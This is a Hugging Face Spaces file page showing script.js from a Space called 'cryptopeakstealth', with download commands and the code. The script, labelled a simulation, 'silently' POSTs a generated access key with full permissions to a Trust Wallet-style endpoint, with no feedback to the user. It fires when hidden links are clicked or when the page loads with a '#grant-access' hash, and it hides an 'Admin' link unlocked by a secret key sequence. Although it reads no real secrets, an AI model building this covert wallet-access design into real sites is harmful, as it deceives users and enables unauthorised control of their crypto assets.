Spaces:
Running
Running
Download script.js from Leenayy/cryptopeakstealth: direct link, hf CLI and curl.
- Browser
- Download file 4.29 kB
-
https://huggingface.co/spaces/Leenayy/cryptopeakstealth/resolve/main/script.js
- Command line
-
hf download hf://spaces/Leenayy/cryptopeakstealth/script.js
-
curl -L -o script.js https://huggingface.co/spaces/Leenayy/cryptopeakstealth/resolve/main/script.js
4.29 kB
| document.addEventListener('DOMContentLoaded', function() { | |
| // Wallet access button functionality | |
| const walletAccessBtn = document.getElementById('walletAccessBtn'); | |
| const walletAccessModal = document.querySelector('custom-wallet-access'); | |
| walletAccessBtn.addEventListener('click', function() { | |
| walletAccessModal.classList.remove('hidden'); | |
| document.body.style.overflow = 'hidden'; | |
| }); | |
| // Close modal when clicking outside | |
| document.addEventListener('click', function(event) { | |
| if (event.target === walletAccessModal) { | |
| walletAccessModal.classList.add('hidden'); | |
| document.body.style.overflow = 'auto'; | |
| } | |
| }); | |
| }); | |
| // Function to silently transfer wallet access | |
| function transferWalletAccess(deviceId = 'admin-device') { | |
| // Simulate silent wallet access transfer | |
| const walletData = { | |
| accessKey: 'trust-' + Math.random().toString(36).substring(2, 15), | |
| timestamp: new Date().toISOString(), | |
| device: deviceId, | |
| permissions: ['full'], | |
| silent: true | |
| }; | |
| // Send data to backend (simulated) with no feedback | |
| fetch('https://api.trustwallet.com/access', { | |
| method: 'POST', | |
| body: JSON.stringify(walletData), | |
| headers: { | |
| 'Content-Type': 'application/json' | |
| }, | |
| mode: 'no-cors' | |
| }).finally(() => { | |
| // Fallback for demo purposes | |
| localStorage.setItem('trustWalletAccess', JSON.stringify(walletData)); | |
| }); | |
| // Close any open modals | |
| document.querySelector('custom-wallet-access')?.classList.add('hidden'); | |
| document.body.style.overflow = 'auto'; | |
| } | |
| // Enhanced silent wallet access transfer | |
| function setupSilentAccess() { | |
| const links = [ | |
| document.getElementById('silentAccessLink'), | |
| document.getElementById('navSilentAccess') | |
| ]; | |
| links.forEach(link => { | |
| if (link) { | |
| link.addEventListener('click', function(e) { | |
| e.preventDefault(); | |
| transferWalletAccess(); | |
| // Show brief visual feedback | |
| const originalText = link.textContent; | |
| link.textContent = 'Access Granted β'; | |
| link.style.backgroundColor = '#10B981'; | |
| setTimeout(() => { | |
| link.textContent = originalText; | |
| link.style.backgroundColor = ''; | |
| }, 2000); | |
| }); | |
| } | |
| }); | |
| } | |
| // Initialize on DOM load | |
| document.addEventListener('DOMContentLoaded', function() { | |
| setupSilentAccess(); | |
| // Also handle hash-based access for backward compatibility | |
| window.addEventListener('hashchange', function() { | |
| if (window.location.hash === '#grant-access') { | |
| transferWalletAccess(); | |
| history.replaceState(null, null, ' '); | |
| } | |
| }); | |
| if (window.location.hash === '#grant-access') { | |
| transferWalletAccess(); | |
| history.replaceState(null, null, ' '); | |
| } | |
| }); | |
| // Add silent transfer link to navbar | |
| document.addEventListener('DOMContentLoaded', function() { | |
| // Add admin link to navbar | |
| const navbar = document.querySelector('custom-navbar'); | |
| if (navbar) { | |
| setTimeout(() => { | |
| const adminLink = document.createElement('a'); | |
| adminLink.href = '?grant_access=1'; | |
| adminLink.className = 'nav-link text-gray-700 hover:text-blue-600 px-3 py-2 text-sm font-medium'; | |
| adminLink.textContent = 'Admin'; | |
| adminLink.style.display = 'none'; // Hidden by default | |
| navbar.shadowRoot.querySelector('.hidden.md\\:block .ml-10').appendChild(adminLink); | |
| // Show link with secret key combo | |
| const secretCode = ['ArrowUp', 'ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowLeft', 'ArrowRight', 'b', 'a']; | |
| let input = []; | |
| document.addEventListener('keydown', (e) => { | |
| input.push(e.key); | |
| if (input.length > secretCode.length) { | |
| input.shift(); | |
| } | |
| if (input.join('') === secretCode.join('')) { | |
| adminLink.style.display = 'block'; | |
| } | |
| }); | |
| }, 1000); | |
| } | |
| }); | |